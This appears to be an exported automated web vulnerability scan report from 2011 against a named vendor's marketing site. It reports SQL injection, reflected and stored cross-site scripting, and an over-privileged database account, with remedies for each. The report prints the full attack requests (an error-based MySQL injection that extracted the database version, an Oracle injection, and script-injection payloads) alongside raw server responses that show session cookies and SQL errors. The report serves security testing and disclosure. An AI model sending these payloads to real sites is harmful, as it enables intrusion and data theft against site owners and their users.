SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
pg
GET
697
h
GET
0
hp
GET
697
utm_term
GET
vulnerability management
utm_campaign
GET
PatchManagement
utm_mt
GET
e
gclid
GET
CPC_jKTPt6gCFUh-5QodsROzEA
Extracted Data
5.0.51b-community-nt-log
Request
GET /shavlik/index.cfm?m=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&pg=697&h=0&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Cookie: CFID=799689; CFTOKEN=67476078 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Mon, 25 Apr 2011 12:16:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<font style="COLOR: black; FONT: 16pt/18pt verdana"> The web site you are accessing has experienced an unexpected error.<br> Please contact the website administrator.
</font> <br><br> <table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7"> <tr> <td bgcolor="#000066"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> The following information is meant for the website developer for debugging purposes. </font> </td> <tr> <tr> <td bgcolor="#4646EE"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> Error Occurred While Processing Request </font> </td> </tr> <tr> <td> <font style="COLOR: black; FONT: 8pt/11pt verdana">
<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debug Output Settings, and select the Robust Exception Information option.</li>
<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li> <li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.
Impact
Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.
Remedy
A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
GET /shavlik/index.cfm?m=%2527&pg=697&h=0&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Cookie: CFID=799687; CFTOKEN=56587765 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Mon, 25 Apr 2011 12:16:22 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<font style="COLOR: black; FONT: 16pt/18pt verdana"> The web site you are accessing has experienced an unexpected error.<br> Please contact the website administrator.
</font> <br><br> <table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7"> <tr> <td bgcolor="#000066"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> The following information is meant for the website developer for debugging purposes. </font> </td> <tr> <tr> <td bgcolor="#4646EE"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> Error Occurred While Processing Request </font> </td> </tr> <tr> <td> <font style="COLOR: black; FONT: 8pt/11pt verdana">
<table width="500" cellpadding="0" cellspacing="0" border="0"> <tr> <td id="tableProps2" align="left" valign="middle" width="500"> <h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana"> Error Executing Database Query. </h1> </td> </tr> <tr> <td id="tablePropsWidth" width="400" colspan="2"> <font style="COLOR: black; FONT: 8pt/11pt verdana"> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27 AND DMMESSAGE.userCompanyID = 21 ORDER BY DMMESSAGE.ID' at line 7 </font> </td> </tr> <tr> <td height> </td> </tr>
<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debug Output Settings, and select the Robust Exception Information option.</li>
<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li> <li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
Remedy
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
GET /shavlik/index.cfm?m=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&pg=697&h=0&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Cookie: CFID=799689; CFTOKEN=67476078 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Mon, 25 Apr 2011 12:17:01 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<font style="COLOR: black; FONT: 16pt/18pt verdana"> The web site you are accessing has experienced an unexpected error.<br> Please contact the website administrator.
</font> <br><br> <table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7"> <tr> <td bgcolor="#000066"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> The following information is meant for the website developer for debugging purposes. </font> </td> <tr> <tr> <td bgcolor="#4646EE"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> Error Occurred While Processing Request </font> </td> </tr> <tr> <td> <font style="COLOR: black; FONT: 8pt/11pt verdana">
<table width="500" cellpadding="0" cellspacing="0" border="0"> <tr> <td id="tableProps2" align="left" valign="middle" width="500"> <h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana"> Error Executing Database Query. </h1> </td> </tr> <tr> <td id="tablePropsWidth" width="400" colspan="2"> <font style="COLOR: black; FONT: 8pt/11pt verdana"> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '><iMg src=N onerror=netsparker(9)> AND DMMESSAGE.userCompanyID = 21 ORDER ' at line 7 </font> </td> </tr> <tr> <td height> </td> </tr>
<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debug Output Settings, and select the Robust Exception Information option.</li>
<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li> <li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>
GET /shavlik/index.cfm?m=1112&pg=697&h='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0009F6)%3C/script%3E&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Cookie: CFID=799689; CFTOKEN=67476078 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 25 Apr 2011 12:17:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<div id="content"> <h1 style="font-size:40px; margin-top:0;">Comprehensive security software that can make life easier</h1> <img src="images/SHAV_LP_patch_logo.png">
<p class="contentCopy"> <strong>NetChk®</strong> Protect is the comprehensive agentless patch management system designed to meet today’s most pressing IT challenges. NetChk® Protect simplifies the complexity of IT management by automating patching – for both your operating system and for third-party applications – so you’re protected from every angle. <br /><br /> In less than 30 minutes, <strong>NetChk®</strong> Protect will be up and running, detecting and deploying missing patches. <br /><br /> <strong>NetChk®</strong> Protect also includes the Sunbelt VIPRE Enterprise Antivirus + Antispyware + Antimalware engine to integrate world-class antivirus protection with comprehensive patch management for faster, more cost-effective network security. </p> </div> <div style="background-image:url('images/SHAV_blackLine.jpg'); background-repeat:no-repeat; height:19px;"></div> </div> <div id="bottomContainer"><!--- bottomContainer ---> <div id="leftBottom"> <a href="index.cfm?pg=704" style="text-decoration:none;"><h2>SimplexITy Bundle Savings of 80% <img src="images/Shav_LP_serious_arrow.png" style="border:0;"></h2></a>
<h3 style="font-style:italic;">For a limited time, the more Shavlik IT Management products you use, the more you save.</h3> <p class="bottomCopy">NetChk® Protect is part of the Shavlik SimplexITy Bundle, the ultimate IT management solution for network professionals. Combining our best-in-class network security and IT management applications, the bundle is the comprehensive answer to your patch management, antivirus, power management, and configuration challenges.</p>
<h3 style="font-style:italic;">Explore the Shavlik SimplexITy Bundle:</h3>
<p class="bottomCopy">Click on the links below for detailed information on each functionality that can simplify your IT workload:</p>
<ul class="bottomCopy" style="margin-left:15px; padding:0; line-height:26px;"> <li><a href="index.cfm?pg=697" class="current">Automated Patch Management</a></li> <li><a href="index.cfm?pg=698">Next-generation Enterprise Antivirus</a></li> <li><a href="index.cfm?pg=701">Centralized Power Management</a></li> <li><a href="index.cfm?pg=699">Simplified Configuration and Compliance</a></li> </ul> </div> <div id="middleBottom"> <p class="bottomCopy" style="margin-top:0;">For a fraction of the money you spend for antivirus protection today, you can simplify the complexity of IT management and have complete protection against your top security threats.</p>
<p class="bottomCopy" style="margin-bottom:0;">Register today to try Shavlik’s NetChk® Protect patch management - or save even more by upgrading to the SimplexITy bundle! <span style="font-style:italic; font-size:11px;">* Denotes Required Fields</span></p>
Netsparker confirmed this vulnerability by analyzing the execution of injected JavaScript.
Permanent XSS (Cross-site Scripting) allows an attacker to execute dynamic scripts (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly and to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/Javascript/VbScript within the browser.
Permanent means that the attack will be stored in the back-end system. In normal XSS attacks an attack needs to e-mail the victim but in a permanent XSS an attacker can just execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.
XSS targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' session the attacker might attack an administrator to gain full control over the application.
Impact
Permanent XSS is a dangerous issue that has many exploitation vectors, some of which includes:
User session sensitive information such as cookies can be stolen.
XSS can enable client-side worms which could modify, delete or steal other users' data within the application.
The website can be redirected to a new location, defaced or used as a phishing site.
Remedy
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
GET /shavlik/index.cfm?m=1112&pg=697&h='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0009F6)%3C/script%3E&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Cookie: CFID=799689; CFTOKEN=67476078 Accept-Encoding: gzip, deflate
Identification Request
GET /shavlik/index.cfm?m=1112&pg=697&h=0&hp=%27%7C%7C(utl_inaddr.get_host_address((select+chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(51)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97)+from+DUAL)))%7C%7C%27&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Cookie: CFID=799689; CFTOKEN=67476078 Accept-Encoding: gzip, deflate
Injection Response
HTTP/1.1 200 OK Connection: close Date: Mon, 25 Apr 2011 12:17:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
Identification Response
HTTP/1.1 200 OK Connection: close Date: Mon, 25 Apr 2011 12:17:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<div id="content"> <h1 style="font-size:40px; margin-top:0;">Comprehensive security software that can make life easier</h1> <img src="images/SHAV_LP_patch_logo.png">
<p class="contentCopy"> <strong>NetChk®</strong> Protect is the comprehensive agentless patch management system designed to meet today’s most pressing IT challenges. NetChk® Protect simplifies the complexity of IT management by automating patching – for both your operating system and for third-party applications – so you’re protected from every angle. <br /><br /> In less than 30 minutes, <strong>NetChk®</strong> Protect will be up and running, detecting and deploying missing patches. <br /><br /> <strong>NetChk®</strong> Protect also includes the Sunbelt VIPRE Enterprise Antivirus + Antispyware + Antimalware engine to integrate world-class antivirus protection with comprehensive patch management for faster, more cost-effective network security. </p> </div> <div style="background-image:url('images/SHAV_blackLine.jpg'); background-repeat:no-repeat; height:19px;"></div> </div> <div id="bottomContainer"><!--- bottomContainer ---> <div id="leftBottom"> <a href="index.cfm?pg=704" style="text-decoration:none;"><h2>SimplexITy Bundle Savings of 80% <img src="images/Shav_LP_serious_arrow.png" style="border:0;"></h2></a>
<h3 style="font-style:italic;">For a limited time, the more Shavlik IT Management products you use, the more you save.</h3> <p class="bottomCopy">NetChk® Protect is part of the Shavlik SimplexITy Bundle, the ultimate IT management solution for network professionals. Combining our best-in-class network security and IT management applications, the bundle is the comprehensive answer to your patch management, antivirus, power management, and configuration challenges.</p>
<h3 style="font-style:italic;">Explore the Shavlik SimplexITy Bundle:</h3>
<p class="bottomCopy">Click on the links below for detailed information on each functionality that can simplify your IT workload:</p>
<ul class="bottomCopy" style="margin-left:15px; padding:0; line-height:26px;"> <li><a href="index.cfm?pg=697" class="current">Automated Patch Management</a></li> <li><a href="index.cfm?pg=698">Next-generation Enterprise Antivirus</a></li> <li><a href="index.cfm?pg=701">Centralized Power Management</a></li> <li><a href="index.cfm?pg=699">Simplified Configuration and Compliance</a></li> </ul> </div> <div id="middleBottom"> <p class="bottomCopy" style="margin-top:0;">For a fraction of the money you spend for antivirus protection today, you can simplify the complexity of IT management and have complete protection against your top security threats.</p>
<p class="bottomCopy" style="margin-bottom:0;">Register today to try Shavlik’s NetChk® Protect patch management - or save even more by upgrading to the SimplexITy bundle! <span style="font-style:italic; font-size:11px;">* Denotes Required Fields</span></p>
Netsparker identified that the target web site is connecting to the backend database by using a user that has administrative privileges. This issue has been confirmed by checking the connection privileges via an identified SQL Injection vulnerability in the application.
Impact
This can allow an attacker to gain extra privileges via SQL Injection attacks. Here is the list of attacks that the attacker might carry out:
Gain full access to the database server.
Gain a reverse shell to the database server and execute commands on the underlying operating system.
Access the database with full permissions. Where it may be possible to read, update or delete arbitrary data from the database.
Furthermore, depending on the platform and the database system user an attacker might carry out a privilege escalation attack to gain administrator access to the target system.
Remedy
Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.
GET /shavlik/index.cfm?m=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&pg=697&h=0&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Cookie: CFID=799689; CFTOKEN=67476078 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Mon, 25 Apr 2011 12:16:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<font style="COLOR: black; FONT: 16pt/18pt verdana"> The web site you are accessing has experienced an unexpected error.<br> Please contact the website administrator.
</font> <br><br> <table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7"> <tr> <td bgcolor="#000066"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> The following information is meant for the website developer for debugging purposes. </font> </td> <tr> <tr> <td bgcolor="#4646EE"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> Error Occurred While Processing Request </font> </td> </tr> <tr> <td> <font style="COLOR: black; FONT: 8pt/11pt verdana">
<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debug Output Settings, and select the Robust Exception Information option.</li>
<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li> <li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.
Impact
